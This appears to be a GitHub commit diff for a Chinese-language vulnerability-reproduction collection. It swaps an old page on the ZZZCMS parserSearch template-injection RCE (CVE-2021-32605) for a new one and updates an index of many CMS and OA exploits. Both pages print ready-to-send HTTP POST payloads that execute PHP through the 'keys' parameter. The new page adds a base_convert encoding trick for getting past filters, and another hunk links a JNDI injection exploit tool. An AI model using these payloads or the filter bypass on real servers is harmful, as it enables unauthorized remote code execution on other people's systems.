This commit is contained in:
Threekiii committed 2025-04-07 16:36:34 +08:00
1 parent 83e4fb4bf9
commit 95162cea88
44 files changed
+57 -56

No files matched your search

@@ -1,50 +0,0 @@
# ZZZCMS parserSearch 远程命令执行漏洞
## 漏洞描述
ZZZCMS parserSearch 存在模板注入导致远程命令执行漏洞
参考链接:
- https://srcincite.io/advisories/src-2021-0015/
- https://nvd.nist.gov/vuln/detail/CVE-2021-32605
## 漏洞影响
```
ZZZCMS
```
## 网络测绘
```
app="zzzcms"
```
## 漏洞复现
发送如下请求包命令执行
![](images/202202170904549.png)
```plain
POST /?location=search HTTP/1.1
Host:
Content-Length: 30
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=rbuhrqqhoctntnak8slkascqp1; keys=%7Bif%3A%3DPHPINFO%28%29%7D%7Bend+if%7D%0D%0A
keys={if:=PHPINFO()}{end if}
```
执行 ping dnslog
![](images/202202170904912.png)
Binary file not shown.

Before

Width:  |  Height:  |  Size: 214 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 339 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 443 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 182 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 134 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 216 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 157 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 518 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 159 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 409 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 193 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 629 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 177 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 614 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 297 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 168 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 148 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 428 KiB

@@ -0,0 +1,46 @@
# zzzcms v1.7.5 前台远程命令执行漏洞
## 漏洞描述
zzzcms v1.7.5 parserSearch 存在模板注入导致远程命令执行漏洞。
参考链接:
- https://nvd.nist.gov/vuln/detail/CVE-2021-32605
- https://www.anquanke.com/post/id/212272
## 漏洞影响
```
zzzcms v1.7.5
```
## 漏洞复现
执行 `phpinfo`:
```
POST /?location=search HTTP/1.1
Host: your-ip
keys={if:=phpinfo()}{end if}
```
如果遇到拦截,编码绕过:
```
<?php
echo (base_convert("phpinfo()", 32, 10));
?>
-----
27440799224
```
```
POST /?location=search HTTP/1.1
Host: your-ip
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
```
![](images/zzzcms%20v1.7.5%20前台远程命令执行漏洞/image-20250407143723180.png)
+10 -5
View File
@@ -17,6 +17,8 @@
* CmsEasy crossall_act.php SQL注入漏洞
* CmsEasy language_admin.php 后台命令执行漏洞
* CmsEasy update_admin.php 后台任意文件上传漏洞
* CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145
* CraftCMS 未授权远程代码执行漏洞 CVE-2023-41892
* CxCMS Resource.ashx 任意文件读取漏洞
* DedeCMS 5.7 file_manage_control.php 文件包含 RCE CVE-2023-2928
* DedeCMS 5.7SP2 代码执行漏洞 CVE-2019-8933
@@ -84,7 +86,7 @@
* WordPress SuperForms 4.9 任意文件上传到远程代码执行
* WordPress WP_Query SQL 注入漏洞 CVE-2022-21661
* YzmCMS Version 小于V5.8正式版 后台采集模块 SSRF漏洞
* ZZZCMS parserSearch 远程命令执行漏洞
* zzzcms v1.7.5 前台远程命令执行漏洞
* 华宜互联 硬编码超级管理员漏洞
* 原创先锋 后台管理平台 未授权访问漏洞
* 发货100 M_id SQL注入漏洞 CNVD-2021-30193
@@ -98,14 +100,14 @@
* 狮子鱼CMS ApigoodController.class.php SQL注入漏洞
* 狮子鱼CMS image_upload.php 任意文件上传
* 狮子鱼CMS wxapp.php 任意文件上传漏洞
* 齐博CMS V7 job.php 任意文件读取漏洞
- MYPOC
* 禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞
* 禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞
* 禅道 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞
* 禅道 12.4.2 CSRF漏洞 CNVD-2020-68552
* 禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325
* 禅道 V16.5 SQL 注入 CNVD-2022-42853
* 禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709
* 齐博CMS V7 job.php 任意文件读取漏洞
- OA产品漏洞
* O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行
@@ -296,7 +298,6 @@
* CMA客诉管理系统 upFile.ashx 任意文件上传漏洞
* Coremail 路径遍历与文件上传漏洞
* Coremail 配置信息泄露漏洞
* CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145
* Crawlab file 任意文件读取漏洞
* Crawlab users 任意用户添加漏洞
* Dapr Dashboard configurations 未授权访问漏洞 CVE-2022-38817
@@ -523,6 +524,10 @@
* 用友 畅捷通远程通 GNRemote.dll SQL注入漏洞
* 畅捷CRM get_usedspace.php SQL注入漏洞
* 畅捷CRM 后台附件任意文件上传漏洞
* 禅道 misc-captcha-user.html 权限绕过&命令执行漏洞 CNVD-2023-02709
* 禅道 v16.5 前台 SQL 注入 CNVD-2022-42853
* 禅道 zahost-create.html 后台命令执行漏洞
* 禅道 zentaosid cookie 身份认证绕过漏洞
* 科达 MTS转码服务器 任意文件读取漏洞
* 科达 网络键盘控制台 任意文件读取漏洞
* 科迈 RAS系统 硬编码管理员漏洞
@@ -48,7 +48,7 @@ Connection: close
![image-20220305220601719](images/202203052206769.png)
实际利用JNDI注入漏洞,可以使用[这个工具](https://github.com/welk1n/JNDI-Injection-Exploit)。
实际利用JNDI注入漏洞,可以使用[这个“工具](https://github.com/welk1n/JNDI-Injection-Exploit)。
![image-20220305223436251](images/202203052234596.png)